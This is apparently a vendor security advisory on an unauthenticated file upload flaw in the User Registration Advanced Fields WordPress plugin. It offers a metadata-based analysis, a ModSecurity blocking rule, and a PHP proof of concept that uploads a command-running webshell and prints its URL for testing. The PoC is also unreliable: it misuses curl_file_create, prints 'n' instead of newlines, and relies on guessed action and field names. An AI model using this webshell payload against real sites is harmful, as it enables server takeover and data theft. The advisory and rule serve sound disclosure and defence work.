Atomic Edge analysis of CVE-2026-4882 (metadata-based): This vulnerability allows unauthenticated attackers to upload arbitrary files to a WordPress server running the User Registration Advanced Fields plugin version 1.6.20 or earlier. The flaw resides in the URAF_AJAX::method_upload function. The CVSS score of 9.8 (Critical) and CWE-434 classification confirm a file upload vulnerability with no authentication required and high impact on confidentiality, integrity, and availability.
The root cause is the absence of file type validation in the method_upload AJAX handler. The plugin likely registers an AJAX action for both authenticated and unauthenticated users (using wp_ajax_ and wp_ajax_nopriv_ hooks). The code probably calls move_uploaded_file or similar PHP functions without checking the file extension or MIME type. Atomic Edge analysis infers this from the CWE and description. No code is available for confirmation.
An attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to the plugin’s upload handler. The request must include a file in a multipart/form-data payload. The attacker can rename a PHP webshell to have any extension or can use a double extension bypass. The description notes that exploitation requires a Profile Picture field added to a form. This suggests the upload handler is tied to that form field. The attacker likely sends a file parameter named after the profile picture field and a nonce if required, but the missing validation allows PHP files.
A likely fix in version 1.6.21 restricts uploaded file types to images only. The developer should validate file extensions against a whitelist (e.g., jpg, png, gif) and verify the MIME type using finfo or getimagesize. The handler should also limit file size and store uploads in a location that prevents execution.
If exploited, an attacker gains the ability to execute arbitrary PHP code on the server. This leads to full site compromise: data theft, malware injection, server takeover, and potential lateral movement within the hosting environment. The attack requires no authentication and no user interaction.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-4882 (metadata-based)
# Blocks unauthenticated file upload via the vulnerable AJAX handler.
# The rule checks for the action parameter and the presence of file upload data.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20488201,phase:2,deny,status:403,chain,msg:'CVE-2026-4882 - User Registration Advanced Fields arbitrary file upload',severity:'CRITICAL',tag:'CVE-2026-4882'"
SecRule ARGS_POST:action "@rx ^uraf_ajax_method_upload$|^user_registration_advanced_fields_upload$"
"chain,t:none"
SecRule REQUEST_HEADERS:Content-Type "@contains multipart/form-data"
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4882 - User Registration Advanced Fields <= 1.6.20 - Unauthenticated Arbitrary File Upload
// This poc sends a php webshell through the vulnerable upload handler.
// It assumes the vulnerable ajax action is 'uraf_ajax_method_upload' or similar.
// Adjust $target_url and $form_field_name based on the actual form field ID.
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$form_field_name = 'user_registration_advanced_fields_profile_picture'; // guessed field name
$shell_content = '<?php system($_GET["cmd"]); ?>';
$filename = 'shell.php'; // No extension validation, so php works
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
'action' => 'uraf_ajax_method_upload', // guessed action hook
$form_field_name => curl_file_create($filename, 'image/jpeg', $filename, $shell_content)
));
$response = curl_exec($ch);
if ($response === false) {
echo 'Error: ' . curl_error($ch) . "n";
} else {
echo 'Response: ' . $response . "n";
// The response may contain the uploaded file URL. parse it here.
preg_match('/"url":"([^"]+)"/', $response, $matches);
if (isset($matches[1])) {
echo "Shell URL: " . $matches[1] . "n";
echo 'Test with: ' . $matches[1] . '?cmd=id' . "n";
}
}
curl_close($ch);
?>
